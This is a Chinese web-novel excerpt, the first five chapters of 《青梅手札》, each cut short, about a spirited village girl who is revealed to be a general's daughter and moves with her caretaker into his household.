《青梅手札》 1. 第 1 章 《青梅手札》全本免费阅读 村头草沟外,两个狗狗祟祟的身影躲在树下。 男童看起来只是寻常的农家小子,那女童却生得极为白净,头顶一只硕大的茅草斗笠,露出半边小巧精致的下巴,小嘴叼着一根青草,一副沉思的模样。 这里说是草沟,往常不下雨时不到三尺,大雨滂沱草沟水涨也不过两丈宽。 因着上游连着弱水河,里面常有些小鱼小虾,偶尔有大鱼不时被冲留下来。 一样的位置,一样的窝食,狗娃昨日都捞了好几条,今日却一只都没见到! 只有些死了的花雀,老是往打窝子的网里去。这花雀也不一般,往常精的连斗笠下的穗粒子都不吃,不知为何全都死在了水里。 大囡握着小木棍上前,拨开水里的三只花雀,只见尾巴中间最长的尾羽都缺了一块。 可她等了大半天也没见到一条鱼,便有些怀疑小伙伴的说辞,“鱼呢?莫不是骗我?” 狗娃忙信誓旦旦地拍着胸脯保证,“这里肯定还有!昨日我就是在这里逮的,应该快来了,咱们再等等。” 量狗娃也没胆子骗她,大囡干脆丢掉棍子,直接坐在了水边,紧紧盯着水面,小手悄悄在身前握拳,给自己打气。 连狗娃都能捞到鱼,她一定也可以! 想到阿娘收到鱼开心的表情,她心里便乐开了花,只觉得再等上半日也值得。 等她乐完,偏头却见狗娃在身后探头探脑的,似乎想跟上来。 于是大囡故意板起小脸,嗓音又奶又凶的指挥道:“我在这里等,你别过来。” 狗娃不愿一个人呆那么远,却又不敢跟大囡作对。 摸着脑袋想了半天,才想出一个理由,“大囡,往后我可就是你哥哥了,跟我不用这么见外。” “哥哥?”大囡指着山坡上的大槐树,光树干就比他们两个小娃合起来还要粗! “这棵树你爬得上去吗?” 狗娃底气立刻不足了,“能……能吧。” “那咱们比一比,看谁爬得高!你若爬得过我,我便认你当哥哥!” 这……他爬树哪爬得过大囡啊! 狗蛋一听便急了,全然忘记了他娘的的叮嘱,“我娘可没说当你哥哥还用比爬树的,她今日便去你家提亲,改明日你就要唤我一句哥哥了!” 提亲?阿娘要嫁人了? 大囡一听‘噌’地站起身,再也顾不上鱼,拔腿就往家里跑。 狗娃见大囡跑了,这才知道自己闯了祸! 他临出门时,娘特意叮嘱一定要看着大囡,别让她回家!上回娘上门说亲,就是大囡引了大壮他们来家吵闹,害得娘白跑一趟! 一想到回家要挨揍,狗娃犹犹豫豫半天也不敢跟上去,只得抱头窜回了家。 * 李秀娘正将昨晚淋湿的柴木搬到屋檐下避雨的地方,又拿出前两日在山上摘的马齿苋淘洗切碎,心里惦记着大囡想吃的菜饼,想着多放一勺油吃起来香些。 自打家中没了顶梁柱,她们母女二人日子一向过得清贫,往常都是干饼菜汤,偶尔才见一点荤腥。 这些日子大囡受累许多,吃饭也不如以前,生生饿瘦的下巴颏子都尖了出来。 想到这,李秀娘又取下房梁上的腊肉,细细切了两片,放在成型的饼子上,等烙熟后,油渗到饼里便香极了。 她正在厨房忙的热火朝天,忽然院门被‘叩叩叩’的敲了三声。 这么乖觉,不像是平常的大囡。 李秀娘笑着冲门外喊了一声“来了”,匆匆洗了手,出去打开了门。 门外哪里是大囡,是村正家的儿媳妇王氏,手中还提着一条活鱼,呵呵笑道:“秀娘,今日可是有大大的好事呦!” 李秀娘一见是她,眉头立刻拧了起来,“还是上回的事?” 王氏是平乐村出了名的撒泼妇人,往日连根鸡毛都得同邻里嚷嚷清楚,可架不住嫁得好,岳丈是十里八乡难得的童生,分配到平乐村做村正已经三十余年了,因着缘由村里人都不想与她太过交集。 而她那男人,个头还没王氏高,一副贼眉鼠眼的模样,此刻正跟在王氏身后,直勾勾盯住李秀娘不放。 见李秀娘不让他们进院子,王氏便仗着自己身子壮实,自顾自的挤开她往院里钻,还直接问道:“我家老爷见你孤儿寡母的日子也不好过,今儿个专门来问你一句话,愿不愿意做我家的二夫人?” 说着,王氏翻着眼的上下打量着院子,还想凑近房里去瞧瞧,被李秀娘拦了下来,便只撇着嘴径直坐在了凳子上,手中提着的鱼也不见放下。 她男人目光更是不怀好意,那赤裸裸的眼神就没从李秀娘的身上离开过。 上回来分明已经拒绝过一回,这王氏显然不以为意,这第二回上门,恐怕没那么容易打发了! 李秀娘正愁不知如何回绝,就听见远远一声清脆的呼喝,“我看谁敢动我娘!” 人还未到,声音先传了过来。 几人一惊,扭头就见一白净女童,握着根锄头木棒冲开院门,“狗娃爹爹,你家不要欺人太甚!” 王状因着自己的村长老爹,平日没人敢同他这般说话,更别提用木棒指着! 他的脸刷的一黑,大步冲上前来,“小赔钱货,真当俺不敢揍你?” 眼见王状就要过来,那女童却浑然不惧,她自小力气便大得惊人,还随阿爹习过两年的武,可不是那么容易被打发的! 她举起木棒刚想迎战,就被李秀娘一个箭步拦在了身后,“大囡哪里懂得这些,原是怕我受了欺负,状子哥别当回事儿。” 李秀娘不知在外玩耍的大囡从哪儿得来的消息,竟是这般快的赶了回来,心中一时不知是欣慰还是后怕得好。 王状闻言,却顿住脚撇着脑袋道:“好说,小孩子家家能懂什么事,刚刚谈的事,你同意,俺们就是一家人,一家人能有什么隔夜仇。” 说着,他舔了舔嘴唇,语气已经带上几分威胁,“你说可对?” “这……万万不可,妾已嫁给王珄了,虽说他身死,妾在坟前发了誓,不为他守满三年怎可再嫁!” 媳妇王氏一听,冷冷哼了一声,“李秀娘,别给脸不要脸,你本就是个二嫁寡妇,谈什么贞洁?我呸!” 李秀娘哪经历过如此被人指着鼻子骂的场景,一时间涨红了脸,却怎么也说不出反驳的话。 王状气焰也愈发嚣张,那阴恻恻的视线透过她,落在大囡白白嫩嫩的小脸上,“倒是你这女娃子养得不错,给俺家狗娃当个童养媳也凑活。” 话音刚落,便见大囡气鼓鼓着脸,提着木棒直直朝自己冲来。 王状不由嗤笑,一个小丫头片子,哪怕平时逗狗偷桃,平乐村一霸,能有多厉害? 他抬手就要去拽大囡的领子。 大囡却将身子一缩,握着木棒的小手用力挥舞,径直打在王状的膝盖骨上!只听‘砰’的一声,那生猛的力道,便是比起一般成年人也不多承让! 王状一时不查,只觉得小腿失去了知觉,身子也不由向一侧倾倒! 大囡马步稳稳的扎着,却也看准了机会,这回木棒竟是朝王状的头挥了过去。 若是打中,必定重伤。 李秀娘看的惶急,张口便喊:“大囡!” 黑峻峻的木棒停在了王状的耳旁。 王状回过神,登时头皮发麻,汗水瞬间打湿了整件麻衣。 恍然间,已是一个屁股墩坐在了地上。 王氏似乎也才反应过来,大呼小叫的上前搀起王状,“李秀娘!你……你们还真敢动手!” 大囡扬起小脑袋,脆生回道:“你们谁再敢找我娘麻烦,我便一个个打回去。” 王状扯着王氏的手,艰难的站起来,目光似有几分阴狠。 他没有说话,只是原地啐了一口就朝院门口走。 大囡眨眨眼,松了一口气,快乐地扭回头正想找阿娘讨赏,木棒却猝不及防被人夺了去,身子不受控制的被拎了起来。 王状那恶狠狠的声音在她头顶 2. 第 2 章 《青梅手札》全本免费阅读 李秀娘大脑空了一瞬,紧接着便从脸红直直到了脖子根! 梁衡同样瞳孔微震,就连一旁惨叫的王状两人,哀嚎声都小了些,只努力睁着眼睛往这边瞧! 李秀娘反应过来,先是扯着关月鸢站起身,匆忙解释了一句,“大囡!这是你梁叔叔……” 说完,她又冲着梁衡福了福身,“公子见笑了,事发突然,容我先告知小姐身世。” 等她小声道出实情,眼见关月鸢那兴奋的神情渐渐平复,圆溜溜的杏眼透出一丝迷茫。 李秀娘暗中揪起的心,却越提越高! 早知老爷这么快寻来,当初二囡就不该…… 也罢,也罢,二囡的病能不能熬到今日还要另说,只是……现如今她又该如何张口将两家孩子换回来? 这一切,还要从相公的离世说起。 一年前隔壁凤溪村的大户冯家,出了十两定金请相公打个物件儿。 不过三日,相公却被人抬着回来,出气多进气少,来人只道:王珄冲撞了贵人。 扔下了二十两银子,就离去了。 李秀娘哭的肝肠寸断,只能静静窝在床边看着王珄交代后事。 “秀娘…日后有人…接大囡,别耽误你…好好过日子。” 人死了,留在世上的不过是一捧黄土,一个墓碑,哦对了,还有一块儿青白质地的玉牌。 玉牌宽二指高一寸,牌面莹润细腻,入手还带着些许温度,成色看起来极好,是相公唯一留给大囡的东西。 只是她怎么也想不到,二囡会突然病得如此严重! 辽北苦寒,二囡在小姐肚子里时动过胎气,打小就比大囡文静些,身子骨也不如大囡那般强健。 可谁成想,刚开始只是有些发寒,几贴中药下去就连床也起不来,她着急坏了,喊着邻里将二囡拉到城里去寻医馆,可怜大门都没进去,就被人推了出来还叫喊着治不了,让准备后事。 李秀娘一听差点没晕过去,只得把人又拉回家去,哭的眼睛花了。 见着她整日祈祷,大囡原来泼猴儿一般的人,竟然也坐了下来,整日抄写祈福经文,将一整本经文歪歪扭扭抄了一沓又一沓。 可二囡的病依旧不见好,过了几日,连饭都吃不下,只能灌些糖水。 眼见人就要不行了,李秀娘心如死灰,只觉得无言面对自家小姐。 却不想,当朝丞相府大管家拿出另一半玉牌要来接走他家大小姐! 李秀娘这才知道,相公竟也瞒了她,大囡原是丞相府的大小姐。 可二囡眼瞅着不活了,眼下这丞相府,怕是二囡唯一的活路…… 李秀娘不过片刻便下了决定。 将王珄留下的玉牌系在了二囡的脖颈上,唤来人将其接走。 对着大囡,她心里歉疚,只说二囡被接去城里看病,若是治好了便接回来…… 关月鸢没有发现阿娘的忧愁,心想原来自己竟然是镇国大将军的长女! 那可是大将军!是她从前只在话本里才听过的东西! 一旁王状的哀嚎声已经彻底消失不见,那怨毒的目光在听清楚大囡的身世后,一下子变成了惊恐。 他万万也没想到,这小赔钱货居然还有这般通天的出身! 王状和媳妇瑟瑟发抖的缩在墙角,想趁着几人不注意偷偷跑掉。 只是刚蹭到院门旁,一只黑色的羽箭呼啸而来,紧贴王状的头皮牢牢钉在墙上。 这一箭又把王状吓得不轻! 他双腿再一次失力,跌坐在地上,半晌,竟是一股冲鼻的尿骚味从他身下发了出来。 梁衡面无表情的脸上,带着一股萧杀之气,“小姐,此二人该如何处置?” 不等关月鸢回应,媳妇王氏慌忙趴在地上连连求饶,说着说着,竟是哭得一把鼻涕一把泪,嗓门大得方圆百米都能听闻。 “梁叔叔你快让他们走吧,再不走这院子都要被污成茅坑了!” 眼看着王氏夫妻一瘸一拐的出了门,李秀娘隐隐看到门外已是围上了几个村民。 因着方才的动静,正朝这边探头探脑着。 看来这平乐村不能久留了。 回屋匆忙收拾了行李,也不方便跟乡亲们解释什么,就赶着关月鸢登上了马车。 关月鸢一心想去村里跟她的小伙伴们告别,可李秀娘生怕节外生枝,便坚决不允许她踏出这院门。 登上马车后,关月鸢正气鼓鼓的窝成一团,生阿娘的闷气。 她不明白阿娘为何突然变得如此霸道,居然连家门也不让出! 就在这时,登…登,马车上的窗子响了两声。 关月鸢听到响动,立刻精神一震,从坐榻窜起,一把推开车窗。 是小伙伴们! 只见马车外,大壮、核桃、小梅几个娃娃不知什么时候从家跑了出来,围在车窗外挤做一堆,迫不及待的叽叽喳喳着。 “大囡大囡,听说你把狗蛋爹妈打啦,才要搬去城里住?” “这马车好威武!比我在镇上见过县老爷的马车还好!” “大囡,你走了还回来吗,上回你说要抓的白兔子,我爹刚好从山上抄了一窝……” 关月鸢闻言也是兴奋地撑着窗棱,探出半个身子,“没错,我要跟阿娘去城里住!我在城里还有个将军爹爹……我现在有大名了,叫关月鸢!你们若是遇到什么麻烦,尽管来城里寻我!” 小梅扎着两根麻花辫子,见关月鸢开了窗,连忙顺着缝隙塞给大囡一个包裹,轻声道:“大囡,你要去过好日子了,日后咱们定会在城里相见的。” 小梅是他们这群孩子里年纪最大,最懂事的孩子,也和关月鸢关系十分要好。 关月鸢接过包裹嘿嘿一笑,“小梅姐姐,日后那张账房若是敢欺负你,你就来镇国大将军府寻我!” “你个鬼丫头,白担心你了。”小梅被戳穿了心事羞涩的不行,骂了两句又叮嘱了关月鸢半天,启程的时刻终于到了。 关月鸢依依不舍的和小伙伴们道完别,扭头看见阿娘掀开帘子钻了进来,不待她坐好,就一头扑进了她怀里。 往常关月鸢那里有个姑娘家家的样子,更别说现在像是受了委屈似的,李秀娘连忙拉起关月鸢看了看,摩挲着大囡的手心,“怎么了,是不是吓着了。” “阿娘,我舍不得咱们平乐村!”关月鸢扬起一张小脸,那瞳仁又黑又亮,像极了一对琉璃耳坠跌进尘埃,却还顽强闪着光。 若是除去这一身的粗布麻衣,原也该是大家闺秀的。 李秀娘目光柔和了几分,抬手整了整关月鸢的衣襟,“可有什么舍不得的,以后得了空,便是回来看看也无妨。” “那咱们去了将军府,二囡是不是就能回来治病了?” 李秀娘闻言心里一紧,她又何尝不想知道二囡此刻的情况? 待回府之后,她便去求将军将两个孩子换回来!可怜见的二囡孤苦伶仃,也不知丞相府能不能照顾好她。 嘴上却又说着宽慰的话,“你妹妹在外一向乖觉得很,从来不用大人操心,倒是你这丫头,要知道那深府大院的规矩多着呢!等一会儿到了将军府,一定要听娘的话,不可乱来,知道吗?” 关月鸢认真点了点脑袋,当即便立下了豪言壮语,“等二囡病好了,我就去接她回家!” 话音刚落,马车突然一阵颠簸,外面响起了梁衡冷然的声音,“小姐当心。” 关月鸢是个坐不住的,立刻把脸挨到窗户棱上,从那细窄的缝隙中看到了村外的小路。 平乐村离着京城不算太远,可这路却难走的很,出京城往西本来有一条自古通商路,开国前一次地灾,生生断了这条古路,当今圣上花费了无数金钱与人力才开辟了新的通商线。 3. 第 3 章 《青梅手札》全本免费阅读 元娉婷已经移步上前,亲热地牵起李秀娘的手,柔声道:“秀娘,这些年真是苦了你了。” 李秀娘心里已经有了不妙,匆忙询问:“我家大夫人她……” 元娉婷神情黯然地叹息一声,才道:“姐姐她……已经故去六年了,还给鸢儿留下了一个弟弟,如今还在学堂关着,等过几日沐休便回来了。” “什么!”李秀娘突闻噩耗,脚下一虚,一瞬间的心悸差点让她摔倒。 元娉婷连忙握紧她的手宽慰,“姐姐在世时,便只对你和鸢儿放心不下,如今即是回了家,便继续好好的守着鸢儿,将军府定然不会亏待于你。” 说着,元娉婷又抬手摸了摸关月鸢懵懂的后脑壳,“我也知你从小和姐姐一起长大,一时间无法接受,无妨,明日我便带你和鸢儿去见见姐姐,想必姐姐九泉之下也能安心了。” 李秀娘艰难的点了点头,嘴巴一扯想笑一笑,笑得却比哭还难看。 二姑娘看来是嫁给老爷作了续弦,只是她记得二姑娘也是嫁过人的,却不知当年到底发生了什么? 也罢,事到如今,鸢儿能有亲姨娘当后娘,总比没有强。 只是这换孩子的事情…… 家中发生了如此大的变故,让李秀娘犹豫不已,她与二姑娘算不得熟悉,这般天大的事情,还是直接禀告老爷为好! 想罢,李秀娘才扯起关月鸢的小手,“鸢儿,这便是你的娘亲了,快喊娘。” 关月鸢迟疑着没张嘴,想得却是眼前这个漂亮姨姨成了娘亲,那阿娘怎么办? 于是张口就问:“鸢儿能有两个娘亲吗?” 李秀娘闻言便是脸色一白,刚想去捂关月鸢的嘴巴,就被元娉婷笑吟吟地按下双手,“无妨。” 说罢,她嗓音柔和的对关月鸢道:“自是能的。” 听见元娉婷的承诺,关月鸢欣喜的叫了一声,“娘亲!” “诶!”元娉婷刚应了一声。 忽而,院落外远远传来一道中气十足的大笑。 “哇哈哈哈,我那乖闺女在哪?速速领我去瞧瞧!” 正所谓人未到,声已至。 关月鸢好奇地抬头,眼前便是一黑,一道好似铁塔般的身影占据了她的全部视线。 只见来人面容黢黑,毛发须张,身着紫袍,带玉冠,腰间配着伏虎腰带,模样乍一看凶神恶煞的,能止小儿夜啼。 元娉婷连忙迎上去,将关绩系在肘部的袖口放下来拍了拍,“夫君小点声罢,别吓到鸢儿!” 关绩却只顾左右瞧着,“我那乖闺女呢?莫不是已回屋睡了?” 正疑惑间,感觉到身下有动静,这才低下头,只见一个不及他大腿高的小不点儿,穿着破旧却干净的麻衣,头顶两个小揪揪,正拿一双乌溜溜的大眼睛瞅他。 这一大一小两人一时间谁也没说话,就这么互相瞅着。 关月鸢突然跑过去,本吓了李秀娘一大跳,可见到这般场景,便又觉得老爷的性子仍和从前一般……变化并不大。 过了半晌,关绩见关月鸢并不畏惧自己,心底已是满意了几分,便沉着嗓音道:“乖闺女,我是你爹你可晓得?” 原来这就是她的将军爹爹! 关月鸢从未见过这般威风的人,只觉得心神激荡,便想也不想地单膝一跪,小手熟练抱拳,“爹爹!” 这回总不会叫错了! 这眼熟的场面令李秀娘眼皮子狠狠一跳,下意识看向院门口,没发现梁衡的身影,才暗自松了一口气,心却高高的提了起来。 大囡这孩子自小张扬顽皮,学堂就不见去几回,每日净是上树掏蛋,下河捉鱼,半点不像从堂堂丞相府出来的孩子,也不知会不会冲撞了老爷…… 她的担忧还没放下,就见关绩猛得仰天哈哈一笑,“不亏是老夫的种!虽生得像她娘一般娇弱了些,这气势却都随了老夫!” 夸完又看向李秀娘,“秀娘把鸢儿养得及好!夫人日后可要好好犒劳咱们将军府的大功臣!” 而李秀娘只觉得哭笑不得,半天才硬挤出一抹笑来。 元娉婷瞧着自家夫君兴致勃勃,有心反驳却又不忍扫他的兴,鸢儿如今也是大家闺秀了,这般男儿气真是…… 一扭头看见李秀娘露出一副忧心忡忡的模样,又在心底暗暗点头,鸢儿这脾气定是全全随了老爷!看来秀娘这些年对鸢儿的教养还是极为费神的。 不像家里的小魔王,真真是除了老爷,任谁也拿他没办法! 想到这,元娉婷按捺住心里的吐槽,点头应是:“夫君说的是及。” 见关绩又要将鸢儿放在肩头上玩,她连忙一把制止,赶人去换了衣裳。 如今也是晚夏,日头落得比前些日子快了许多,屋里屋外点起烛台灯笼,衬得堂厅如白昼一般。 关月鸢在后屋换了身水绸缎子的常衣,上面绣着许多花朵,元娉婷亲自动手给关月鸢扎了头发,将头发分作两边梳了个麻花辫,再细细盘起来插上一朵太阳花样式的发簪。 这是一早就备好的,专属大小姐的东西。 关月鸢同李秀娘坐在堂屋的大桌前,好奇打量着正忙活加冰的小厮。 凉鼎分作四坛分别放置在堂屋的四个角,她趁着大人不注意时去看过,里面储着满满的冰水,上面还浮着一层冰,真真是凉快极了! “东坡肘子上喽,将军,夫人,小姐,菜齐了。”叶伯笑呵呵候在一旁,指着桌上的菜一道道的讲给关月鸢听。 “黄焖鸡翅,东坡肘子,蟹粉狮子头,葱爆羊肉,贵妃鸡,油爆双脆,荷叶粉蒸肉,红烧小排,鲜鳜鱼,板栗烧菜心,糖蒸酥酪及最后的枣泥山药。” 整整十二个菜,光听报菜名就馋的关月鸢猛咽口水,尤其是正中央那只烧得红亮亮,色泽诱人的大肘子,看得她口水都要流出来了! 肉!全是她没吃过的香喷喷的肉! 可是什么时候才能开动?关月鸢眼巴巴的看向李秀娘。 “秀娘,你也入席吧, 4. 第 4 章 《青梅手札》全本免费阅读 ‘三月居’三个大字垒在高高的木匾上,梅花纂体的字颇有些风骨与潇洒。 元娉婷领着两人停下,解释道:“这原是姐姐亲笔写下的,当年她可是整整练了七十二张的草纸,才满意。” 她说着,眼神露出一丝怀念,“后来找了辽北最好的木匠师父,刻出这块牌匾。” 李秀娘听着,不由也生出几分感慨,怕被关月鸢瞧见,她侧过身子用袖子轻轻撷去了眼泪。 三月居里正北方向是座二楼小屋,八角台檐的宝顶在正梁方向上分别矗立着螭吻、天禄及辟邪的神兽。 一楼进去就瞧见摆这张红色曲柳木桌,四张梅花凳围绕,后面的墙上挂着张画,独独一颗银杏树枝繁叶茂,金黄色的树叶栩栩如生,洒落满地,铺就一片。 “这,这莫不是……” “这是辽北家里的银杏。”元娉婷续着李秀娘的话说道。 李秀娘又向前迈了两步,“真……真是一模一样。” 关月鸢耐不住也看不懂,往左手边去,只见那里做了三扇双开门的大窗台,有半人高,若是将窗户打开,一眼就看得到外面的景色。 靠近窗柩的地方放着张书桌,笔墨纸砚沓的整整齐齐放在左边桌角。 她看到书就头疼,转而去看那八尺屏风,三扇黑色木纹边框,中间雕刻出群山与星月,流水潺潺,甚至反射出点点波光。 在屏风后面放着张美人塌,描金赤凤檀木作的,再配上了个梅花小几,看着舒服极了。 匆匆跑上二楼,关月鸢一眼就被乌木鎏金宝象缠枝床吸引了注意力,乌木色黑,上面再坠着金丝雕刻出宝象的样式,漂亮极了,配套的衣柜放在床的侧边,里面挂满了漂亮衣裳。 还有梳妆台,好大一盏铜镜,仙鹤衔珠样式,在铜镜顶端坠着颗东珠,皎皎月华。关月鸢在镜子中看到了自己的样子,兴奋地笑了一下,露出两颗尖尖的虎牙。 “鸢儿,你看还缺些什么就跟娘说。”元娉婷出现在镜中笑着对关月鸢说。 关月鸢点了点头,笑容越发透亮,“娘亲,这里好漂亮!” 元聘婷摸了摸她的脑袋,转头对李秀娘道:“东南角有个耳房,做仓库用,里面摆了些旧家具,待一会儿我唤人抬出去,屋子空出来给丫鬟们住。” 李秀娘:“夫人准备的自是极好的。” 元娉婷离开后,关月鸢在李秀娘的催促下,泡了人生的第一场澡。 热水蒸腾,关月鸢坐在浴桶里面的凳子上整个人直到下巴都埋在水中,这花香味的甚是好闻,水面上浮着一层花瓣,全是刚摘的,连片泛黄的脉络都没有。 李秀娘正在给她梳头,从前少有这般仔细的打理,发梢处有些许毛躁,直到通顺,梳子自上而下无一丝卡顿,这才梳好。 再用清水将头发打湿,再涂上些皂角与何首乌等制成的沐膏轻轻打着圈的搓出沫沫,再冲洗干净。洗上个两遍,再涂一层精油,养护头发,便大功告成了。 关月鸢舒服的都快要睡着了。 她不知道自己是怎么躺在床上,又是怎么睡着的,总之是一闭眼就睡了过去。 见她睡着,李秀娘掐了灯烛里剩下的芯,去了外室。 外室有个美人塌,自有夫人安排好的丫鬟在外面守夜,按照规矩,每隔一个时辰,便要去里面敲上一眼。 大囡在这将军府真真适应的极好,老爷夫人也甚为喜爱,若……若这两个孩子没换错,那该有多好! 明日,她定要寻个机会去找老爷,该把事情说清楚了。 李秀娘藏着心事,回到房间熬过午夜才堪堪睡去。 关月鸢却睡得及香。 一觉醒来,还破天荒起了个大早。 床的顶用一大块实木雕出来各种各样叫不出名字的神兽,一直延伸到四周的床柱上,床柱上由上而下挂满了攀藤而上的紫藤花,搭着紫色的娟纱从床顶垂下来,底部一圈镶着珍珠与铃铛。 左手边独独垂下来一根八股绳,最底下坠着红线编的络子,轻轻一碰就传出来铃铛作响的声音。 “小姐可是要起床?”一个小丫鬟掀开的床上的珠帘问。 昨日元娉婷给三月居配了一个大丫鬟和三个小丫鬟,大丫鬟名叫春妙,是元娉婷房中大丫鬟槐夏的亲妹妹,自小沉稳得力。 剩下三个全是家生子自是机灵乖巧,同关月鸢一般年岁,分别以锦玉珠宝为名唤作:锦珠、玉珠、和宝珠。 便是李秀娘都得了个贴身丫鬟,还揽了内院管事的活计。 关月鸢知晓,阿娘如今有了事做,不能再日日守着她了。 想到这,她便有些蔫蔫的,“宝珠,我有些饿了。” 宝珠年岁小,性子跳脱,听闻小主子这样说便着急道:“奴婢去唤厨房做些吃食。” 说完就着急的向门外走去,未到门外就被春妙拦了下来。 “毛毛躁躁的像什么样子,出何事了?” “春妙姐,小姐说饿了,我让厨房做些饭菜送来。” “那你去厨房将备好的梅子冰酪和藕粉桂花糕拿来,让小姐先垫一口,若是吃的多了,中午可就吃不下了。”春妙细细叮嘱着宝珠。 见宝珠去了,春妙端着漆盘转身进了屋。 关月鸢已经支起了半个身子,去勾床顶坠下的坠子玩。 她身上穿着绸缎做的寝衣,光滑清凉,略微大了些,却是舒服极了。 “小姐,春妙服侍您起来。” 春妙说着,将手中的漆盘放在塌上,然后将布巾浸了水去擦关月鸢的脸。 “我自己来。” 关月鸢麻溜窜了起来,拿过布巾往脸上一顿乱抹,逗得春妙掩住唇笑道:“这些小事,哪里需要小姐亲自动手。” 春妙接过布巾细细擦去关月鸢脸上的水痕,又换了干净的布子擦干了些。 接着唤了锦珠来给关月鸢换衣裳。 鹅黄色的短上襦套在最里面,外面再换上桃粉色百褶长襦裙,折上三个褶子打上蝴蝶结系在腰间,最后再往外面套上一个茱萸粉的长衫,接着从镜台上取了梳篦出来,细细柔柔的梳着关月鸢的头发。 关月鸢的头发细软蓬松,乌黑油亮,往常很难打理,常常系在一块。 但在春妙的手上,关月鸢的头发很快便被梳的柔顺,分作四份扎在后脑上逐渐形成了蝴蝶的样式。 这时前额还有些碎发,春妙端来一瓷盒,香气扑鼻,令关月鸢忍不住猛吸了一口气,“一股子桂花味,真好闻。” “小姐,这是百宝阁才兴的香泽,将它抹在头发上,又香又好看。” 春妙说着,用小勺挽出些许放在掌心上,用手心热化后,细致的涂在头额上,果然头发变得及顺,再用篦子将头发打了个弧度出来。 锦珠在旁边插不上手,帮春妙捧着东西,一时间竟是看痴了,“小姐长得可真好看!” 只见铜 5. 第 5 章 《青梅手札》全本免费阅读 叶伯看了李秀娘一眼,那表情果然笑得比哭还难看! 便立刻熟练地打起圆场,“秀姑你就安心收着吧,你立了这么大功劳,日后是该享享清福了!” 他哪里知道李秀娘在纠结什么,如今,任是受到多少责备,也得把两个孩子先换回来! “可是老爷……” 可在关绩眼里,她这表情分明写着四个大字:受之有愧! 他随即脸色一正,属于上位者的压迫感顷刻间弥散出来,“莫不是嫌老爷给的少了?” 李秀娘脸色一变,若不是叶伯眼疾手快搀扶着她,差一点便双膝跪地了。 “老爷,奴婢万万不敢!” “那就好好收着,老叶,你亲自送秀娘回去罢。” 叶伯应了一声是,便半是搀扶,半是催促的带着李秀娘往屋外走,口中絮絮叨叨道:“老爷的脾气你也知道,最烦磨磨唧唧的人,让你收着就收着,老爷一向待人大方,总是不会亏待咱们这些立过功的……” 李秀娘却惨白着脸,一副六神无主的模样,半天也没回过神来。 也罢,二囡如今性命攸关,若是突然换了回来,延误了病情该如何是好。 还是等二丫病情稳定后再做打算! 李秀娘捧着沉甸甸的盒子回到三月居,掀开一瞧,只见里面塞满了金元宝,下面还铺着一张京城住宅和几间铺子的地契,都是那寸土寸金的地段! 李秀娘心情顿时复杂万分,就在她忍不住想要流泪的时候,却听门外响起一道声音,“秀姑,小姐非要等您回来才愿意吃早食呢。” 她才振作了精神道:“我这就来。” 吃完早食,元娉婷已经命人备好马车,众人一起去了法光寺。 元倾娉生前信佛,却埋骨与辽北,元娉婷后来便做主给姐姐在这法光寺立了一块长生牌。 法光寺位于京城郊外的青华山上,寺庙很大,香火更是鼎盛。 站在山脚下便能闻到那香火独有的沉香,沉香婉转,部分下落到人间,像是佛赐圣光给世人,部分香烟上行肉眼可见汇聚到一块,盘踞在法光寺上空,和云雾漫在一起。 一千零三十八级台阶全用青石铺就,一眼望去,法光寺像是被埋在了山里。 周围人潮涌动,关月鸢也是头一次见到这么多人,待在关家护卫的保护圈里好奇地左瞧瞧右看看。 “今日可是十五,昙銮佛子会来讲经,这些人都是来听佛子讲经以通达自身的。”元娉婷笑着在一旁解释。 原来是昙銮佛子!关月鸢也听村里人提过,上任活佛圆寂前面朝南方,掌心合十,以头叩地,咽下最后一口气的瞬间,南面金光满天,待众人去搜寻,只得一名襁褓里的孩童,眉间一点朱砂印,端的是满面佛像。 便是佛子昙銮。 那年王氏不过是在寺外吸过沉香,听过梵音,便觉得高人一等,以此吹嘘不过半天整个村都晓得了。 元娉婷握着关月鸢的手,一步一台阶的拾阶而上。 法光寺前无贵胄,所有人不得乘坐抬轿上山,需得一步一步自行上山,才能得佛家大同。 再有甚者,一步一叩首,只为求得佛祖庇佑。 元娉婷原以为关月鸢年龄小,可能爬不上这么多级的台阶,哪成想,小小姑娘一路爬上来,那汗珠再不值钱的往下滴落,也没喊过一声累! 李秀娘在一旁瞧着心疼,掏出手绢来细细的给她擦汗,“鸢儿若是累了便歇上一歇,总归是能到的。” 关月鸢却是笑得欢快,“阿娘,这里好玩极了!一点也不累!” 到了法光寺门口,众人便瞧见毕生难忘的景象。 巳时刚过,因在深山里,木影参森,日头才才射进来,法光寺的主殿是座八角楼台,往中间汇聚攒尖中间有一颗透明宝珠,传说是某任活佛坐化后形成的。 现在日头斜过,刚刚好透过宝珠,折射出五颜六色的彩虹打在前殿的佛头之上,像是度了层金光,铜鼎烟雾缭绕,像是真佛下凡点化众人。 进得内院的人瞧见这一幕都连忙下跪,叩首朝圣,涕泗横流。 关月鸢被元娉婷拉将着跪下,双手合十的拜了拜,只短短半炷香的时间,神迹便消失了。 “鸢儿,我佛保佑,你真是有福之人。”元娉婷将她拉在怀里,平日里的端庄,此刻都化成了极度的兴奋。 寺院里众人寅时便要起来读早课,用膳也早,故而不过午时便要行午膳。 来这里的达官显贵们自然也随着法光寺的作息,去尝一口斋饭。 这时有几个沙弥从偏院出来,领着众人前去用饭。 一碗豆粉疙瘩汤上面放着些青笋,在配上一份粗茶,没有多余的油水吃起来十分爽口,保留着食材原本的味道。 关月鸢早就饿极了,咕噜咕噜一碗下肚,只得半饱,于是眼巴巴的瞅着打饭的僧人。 空安今年十三,上山不过两月,相较于在寺庙里长大的和尚来说入门稍微晚了些,却是难得一见有慧根之人,他前日刚被主持烫了戒疤,今日因着佛子讲经师兄们都去了大殿,才第一次来膳堂帮忙。 空安盛饭空余一低头,便见下方一位面容俏丽的小姑娘,头上用稠子扎了朵花,坠下两根飘带在耳后,两只小手捧着碗,大眼睛眨啊眨,模样端是令人怜爱得紧。 “小姐可是要再来一碗?” 关月鸢忙不迭点头,送上一抹甜甜的微笑。 空安给她打了满满一碗,上面铺满了青笋,瞧着她端着碗放到桌上呼噜噜的吃的很满足。 豆粉疙瘩的口感很神奇,外面软糯咬开有感觉面面的,还有黄豆的香气,顺着碗边一转一吸,疙瘩汤转眼便下去了一小半。 见她吃的香,便是连元娉婷也多吃了半碗,此时正用槐夏沏的新茶漱口。 元娉婷今日穿了个素色宽袖窄腰的长衫,她将手臂抬起,长长的袖子便将她喝茶的动作挡住了,十分优雅。 春妙瞧着,也紧跟着递给关月鸢一杯新茶,眼见小主子像模像样的喝了一口,她 6. 第 6 章 《青梅手札》全本免费阅读 